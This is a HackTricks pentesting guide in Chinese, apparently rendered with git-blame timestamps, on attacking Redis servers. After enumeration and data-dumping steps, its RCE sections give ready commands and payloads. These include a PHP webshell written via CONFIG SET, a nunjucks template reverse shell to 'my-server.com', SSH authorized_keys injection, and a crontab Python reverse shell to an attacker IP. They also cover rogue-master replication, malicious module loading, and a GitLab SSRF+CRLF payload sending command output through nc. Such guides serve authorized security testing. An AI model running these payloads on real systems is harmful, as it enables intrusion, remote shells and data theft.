2023-08-03 19:12:22 +00:00
# 6379 - Redis渗透测试
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 12:48:25 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-09 12:48:25 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-09 12:48:25 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或在**Twitter**上关注我们 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
2024-02-09 12:48:25 +00:00
< / details >
2022-11-05 09:07:43 +00:00
2024-02-09 12:48:25 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
2023-07-14 15:03:41 +00:00
2024-02-09 12:48:25 +00:00
**最新公告**\
随时了解最新的赏金任务发布和重要平台更新
2023-07-14 15:03:41 +00:00
2024-02-09 12:48:25 +00:00
**加入我们的** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ),立即与顶尖黑客合作!
2022-11-05 09:07:43 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
来自[文档](https://redis.io/topics/introduction): Redis是一个开源( BSD许可证) , 用作**数据库**、缓存和消息代理的**内存数据结构存储**。
默认情况下, Redis使用基于纯文本的协议, 但您必须记住它也可以实现**ssl/tls**。了解如何[在此处使用ssl/tls运行Redis](https://fossies.org/linux/redis/TLS.md)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**默认端口:** 6379
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE VERSION
2020-09-24 19:39:13 +00:00
6379/tcp open redis Redis key-value store 4.0.9
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
## 自动枚举
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
一些自动化工具可以帮助获取来自 Redis 实例的信息:
2020-07-19 21:58:26 +00:00
```bash
2020-07-15 15:43:14 +00:00
nmap --script redis-info -sV -p 6379 < IP >
msf> use auxiliary/scanner/redis/redis_server
```
2023-08-03 19:12:22 +00:00
## 手动枚举
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 横幅
2020-07-20 15:31:30 +00:00
2024-02-09 12:48:25 +00:00
Redis是一种基于文本的协议, 您可以在套接字中发送命令, 返回的值将是可读的。还要记住, Redis可以使用ssl/tls运行( 但这很奇怪) 。
2020-07-20 15:31:30 +00:00
2024-02-09 12:48:25 +00:00
在常规Redis实例中, 您可以使用`nc`进行连接,也可以使用`redis-cli`:
2020-07-20 15:31:30 +00:00
```bash
2020-07-15 15:43:14 +00:00
nc -vn 10.10.10.10 6379
2020-07-20 15:31:30 +00:00
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
2020-07-15 15:43:14 +00:00
```
2024-02-09 12:48:25 +00:00
**你可以尝试的第一个命令是`info`**。它**可能返回Redis实例的信息**,或者可能返回类似以下内容:
2021-10-18 11:21:18 +00:00
```
2020-07-20 15:31:30 +00:00
-NOAUTH Authentication required.
```
2023-08-03 19:12:22 +00:00
在这种情况下,这意味着**您需要有效的凭据**才能访问Redis实例。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### Redis身份验证
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
**默认情况下**, Redis可以在**没有凭据**的情况下访问。但是,它可以被**配置**为仅支持**密码,或用户名+密码**。\
可以在_**redis.conf**_文件中使用参数`requirepass`**设置密码**,或者在服务重新启动连接到它并运行`config set requirepass p@ss$12E45`来**临时设置**密码。\
2023-08-03 19:12:22 +00:00
此外, 可以在_**redis.conf**_文件中的参数`masteruser`中配置**用户名**。
2020-07-15 15:43:14 +00:00
2020-07-20 15:31:30 +00:00
{% hint style="info" %}
2023-08-03 19:12:22 +00:00
如果仅配置了密码,则使用的用户名是“**default**”。\
2024-02-09 12:48:25 +00:00
另外,请注意**外部无法找到**Redis是仅配置了密码还是用户名+密码。
2020-07-20 15:31:30 +00:00
{% endhint %}
2024-02-09 12:48:25 +00:00
在这种情况下,您将需要**找到有效的凭据**与Redis进行交互, 因此可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
**如果找到有效凭据,则需要在与命令建立连接后进行身份验证的会话中进行身份验证:**
2020-07-20 15:31:30 +00:00
```bash
AUTH < username > < password >
2020-07-15 15:43:14 +00:00
```
2024-02-09 12:48:25 +00:00
**有效凭据**将会得到响应:`+OK`
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
### **已认证枚举**
2020-07-20 15:31:30 +00:00
2024-02-09 12:48:25 +00:00
如果Redis服务器允许**匿名连接**或者您已获得有效凭据,您可以使用以下**命令**启动服务的枚举过程:
2020-07-19 22:28:20 +00:00
```bash
2020-07-20 15:31:30 +00:00
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
2020-07-15 15:43:14 +00:00
```
2024-02-09 12:48:25 +00:00
**其他Redis命令** [**可以在这里找到** ](https://redis.io/topics/data-types-intro ) **和** [**这里** ](https://lzone.de/cheat-sheet/Redis )**。**
请注意,**实例的Redis命令可以在_redis.conf_文件中重命名**或删除。例如, 以下行将删除FLUSHDB命令:
2021-10-18 11:21:18 +00:00
```
2020-07-23 16:41:26 +00:00
rename-command FLUSHDB ""
```
2024-02-09 12:48:25 +00:00
更多关于如何安全配置Redis服务的信息请查看: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
2020-07-23 16:41:26 +00:00
2024-02-09 12:48:25 +00:00
您还可以使用命令`monitor`实时监控执行的Redis命令, 或者使用`slowlog get 25`获取前25个最慢的查询。
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
在这里找到更多关于Redis命令的有趣信息: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
2020-07-20 15:31:30 +00:00
2023-08-03 19:12:22 +00:00
### **数据库转储**
2020-07-23 22:06:31 +00:00
2024-02-09 12:48:25 +00:00
在Redis中, **数据库是从0开始编号的**。您可以通过`info`命令的输出中的"Keyspace"部分找到是否有任何数据库正在使用:
2020-07-23 22:06:31 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 315 ) . png > )
2020-07-23 22:06:31 +00:00
2024-02-09 12:48:25 +00:00
或者您可以使用以下命令获取所有**keyspaces**(数据库):
2022-09-01 13:34:28 +00:00
```
INFO keyspace
```
2024-02-09 12:48:25 +00:00
在这个例子中,正在使用**数据库 0 和 1**。**数据库 0 包含 4 个键,数据库 1 包含 1 个**。默认情况下, Redis 将使用数据库 0。要导出例如数据库 1, 您需要执行:
2020-07-23 22:06:31 +00:00
```bash
SELECT 1
[ ... Indicate the database ... ]
2023-08-03 19:12:22 +00:00
KEYS *
2020-07-23 22:06:31 +00:00
[ ... Get Keys ... ]
GET < KEY >
[ ... Get Key ... ]
```
2024-02-09 12:48:25 +00:00
在运行 `GET <KEY>` 时,如果出现 `-WRONGTYPE Operation against a key holding the wrong kind of value` 错误,那是因为该键可能不是字符串或整数,需要使用特殊操作符来显示它。
2020-07-23 22:06:31 +00:00
2024-02-09 12:48:25 +00:00
要了解键的类型,请使用 `TYPE` 命令,以下是列表和哈希键的示例。
2021-11-07 19:50:21 +00:00
```
TYPE < KEY >
[ ... Type of the Key ... ]
LRANGE < KEY > 0 -1
[ ... Get list items ... ]
HGET < KEY > < FIELD >
[ ... Get hash item ... ]
```
2024-02-09 12:48:25 +00:00
**使用npm** [**redis-dump** ](https://www.npmjs.com/package/redis-dump ) **或python** [**redis-utils** ](https://pypi.org/project/redis-utils/ ) **转储数据库**
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2024-02-09 12:48:25 +00:00
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
2023-03-05 19:54:13 +00:00
2024-02-09 12:48:25 +00:00
**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**最新公告**\
了解最新的赏金任务发布和重要平台更新
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**加入我们的** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) ** ,立即与顶尖黑客合作!**
2022-11-05 09:07:43 +00:00
2022-05-01 13:25:53 +00:00
## Redis RCE
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 交互式Shell
2022-05-08 00:02:12 +00:00
2024-02-09 12:48:25 +00:00
[**redis-rogue-server** ](https://github.com/n0b0dyCN/redis-rogue-server ) **可以自动在Redis(<=5.0.5)中获取交互式shell或反向shell。**
2022-05-08 00:02:12 +00:00
```
./redis-rogue-server.py --rhost < TARGET_IP > --lhost < ACCACKER_IP >
```
2022-06-25 09:48:48 +00:00
### PHP Webshell
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
信息来自[**这里**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)。您必须知道**网站文件夹的路径**:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?> "
OK
10.85.0.52:6379> save
OK
```
2024-02-09 12:48:25 +00:00
如果webshell访问异常, 您可以在备份后清空数据库, 然后重试, 记得恢复数据库。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 模板Webshell
2022-06-25 09:48:48 +00:00
2024-02-09 12:48:25 +00:00
就像在前一节中一样, 您还可以覆盖一些将由模板引擎解释的html模板文件并获取shell。
2022-06-25 09:48:48 +00:00
2024-02-09 12:48:25 +00:00
例如,根据[**此解决方案**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在一个由**nunjucks模板引擎**解释的html中注入了**反向shell**:
2022-06-25 09:48:48 +00:00
```javascript
{{ ({}).constructor.constructor(
2023-08-03 19:12:22 +00:00
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
2022-06-25 09:48:48 +00:00
)()}}
```
{% hint style="warning" %}
2024-02-09 12:48:25 +00:00
请注意,**几个模板引擎会缓存**模板在**内存**中,因此即使您覆盖它们,新模板**不会被执行**。在这种情况下, 要么开发人员保留了自动重新加载功能, 要么您需要对服务进行DoS攻击( 并期望它将自动重新启动) 。
2022-06-25 09:48:48 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
### SSH
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
示例[来自这里](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
请注意**`config get dir`**的结果可能会在其他手动利用命令之后发生更改。建议在登录到Redis后立即运行它。在**`config get dir`**的输出中,您可以找到**redis用户**的**home**( 通常为_/var/lib/redis_或_/home/redis/.ssh_) , 知道这一点后, 您就知道可以在哪里写入`authenticated_users`文件以通过ssh访问**使用redis用户**。如果您知道其他有效用户的主目录,并且具有可写权限,您也可以滥用它:
2020-07-20 15:31:30 +00:00
2024-02-09 12:48:25 +00:00
1. 在您的计算机上生成ssh公钥-私钥对:**`ssh-keygen -t rsa`**
2023-08-03 19:12:22 +00:00
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
2024-02-09 12:48:25 +00:00
3. 将文件导入到redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. 将公钥保存到redis服务器上的**authorized\_keys**文件中:
2021-10-18 11:21:18 +00:00
2023-08-03 19:12:22 +00:00
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
2024-02-09 12:48:25 +00:00
5. 最后,您可以使用私钥**ssh**到**redis服务器**: **ssh -i id\_rsa redis@10.85.0.52**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**此技术在此处自动化:**[https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
2020-07-20 15:31:30 +00:00
2022-05-01 13:25:53 +00:00
### Crontab
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
2024-02-09 12:48:25 +00:00
最后一个示例适用于Ubuntu, 对于**Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
这种方法也可以用来赚取比特币:[yam](https://www.v2ex.com/t/286981#reply14)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 加载Redis模块
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
1. 按照[https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)上的说明,您可以**编译一个Redis模块来执行任意命令**。
2. 然后需要某种方式**上传编译好的**模块
3. 在运行时**加载上传的模块**: `MODULE LOAD /path/to/mymodule.so`
4. **列出已加载的模块**以检查是否正确加载:`MODULE LIST`
5. **执行** **命令** :
2021-05-27 10:20:50 +00:00
2023-08-03 19:12:22 +00:00
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
2024-02-09 12:48:25 +00:00
6. 您可以随时卸载模块:`MODULE UNLOAD mymodule`
2021-05-27 10:20:50 +00:00
2023-08-03 19:12:22 +00:00
### LUA沙盒绕过
2020-07-20 15:31:30 +00:00
2024-02-09 12:48:25 +00:00
[**这里** ](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html )您可以看到Redis使用**EVAL**命令来执行**Lua代码沙盒**。在链接的帖子中,您可以看到如何使用**dofile**函数滥用它,但[显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)这已不再可能。无论如何,如果您可以**绕过Lua**沙盒,就可以在系统上**执行任意**命令。此外,在同一帖子中,您可以看到一些**导致DoS**的选项。
2020-07-20 15:31:30 +00:00
2023-08-03 19:12:22 +00:00
一些**用于绕过LUA的CVE**:
2022-05-16 21:20:15 +00:00
* [https://github.com/aodsec/CVE-2022-0543 ](https://github.com/aodsec/CVE-2022-0543 )
2023-08-03 19:12:22 +00:00
### 主从模块
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
主Redis的所有操作会自动同步到从Redis, 这意味着我们可以将漏洞Redis视为从Redis, 连接到我们自己控制的主Redis, 然后我们可以向我们自己的Redis输入命令。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
2024-02-09 12:48:25 +00:00
## SSRF 与 Redis 通信
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
如果您可以发送**明文**请求**到 Redis**,您可以与其**进行通信**,因为 Redis 会逐行读取请求,并对其不理解的行只回复错误:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
2024-02-09 12:48:25 +00:00
因此,如果您在网站中发现了**SSRF漏洞**,并且可以**控制**一些**标头**( 可能通过CRLF漏洞) 或**POST参数**, 您将能够向Redis发送任意命令。
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
### 示例: Gitlab SSRF + CRLF 到 Shell
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
在**Gitlab11.4.7**中发现了一个**SSRF**漏洞和一个**CRLF**漏洞。**SSRF**漏洞出现在**从URL功能导入项目**中, 当创建新项目时允许访问任意IP, 形式为\[0:0:0:0:0:ffff:127.0.0.1]( 这将访问127.0.0.1),而**CRLF**漏洞则是通过向**URL**添加**%0D%0A**字符来利用。
2020-07-15 15:43:14 +00:00
2024-02-09 12:48:25 +00:00
因此,可以**滥用这些漏洞与管理队列的Redis实例进行通信**,并滥用这些队列以**执行代码**。Redis队列滥用有效载荷为:
2021-10-18 11:21:18 +00:00
```
2023-08-03 19:12:22 +00:00
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
2020-07-15 15:43:14 +00:00
```
2024-02-09 12:48:25 +00:00
而利用SSRF和CRLF滥用URL编码请求执行`whoami`并通过`nc`发送输出的请求是:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
2024-02-09 12:48:25 +00:00
由于某种原因(就像[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)中提到的那样),利用使用`git`协议而不是`http`协议。
2022-04-28 16:01:33 +00:00
2024-02-09 12:48:25 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2024-02-09 12:48:25 +00:00
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
2022-11-05 09:07:43 +00:00
2024-02-09 12:48:25 +00:00
**黑客见解**\
深入探讨黑客活动的刺激和挑战
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**最新公告**\
了解最新的赏金计划发布和重要平台更新
2023-02-27 09:28:45 +00:00
2024-02-09 12:48:25 +00:00
**加入我们的** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ),立即与顶尖黑客合作!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 12:48:25 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-09 12:48:25 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或在**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >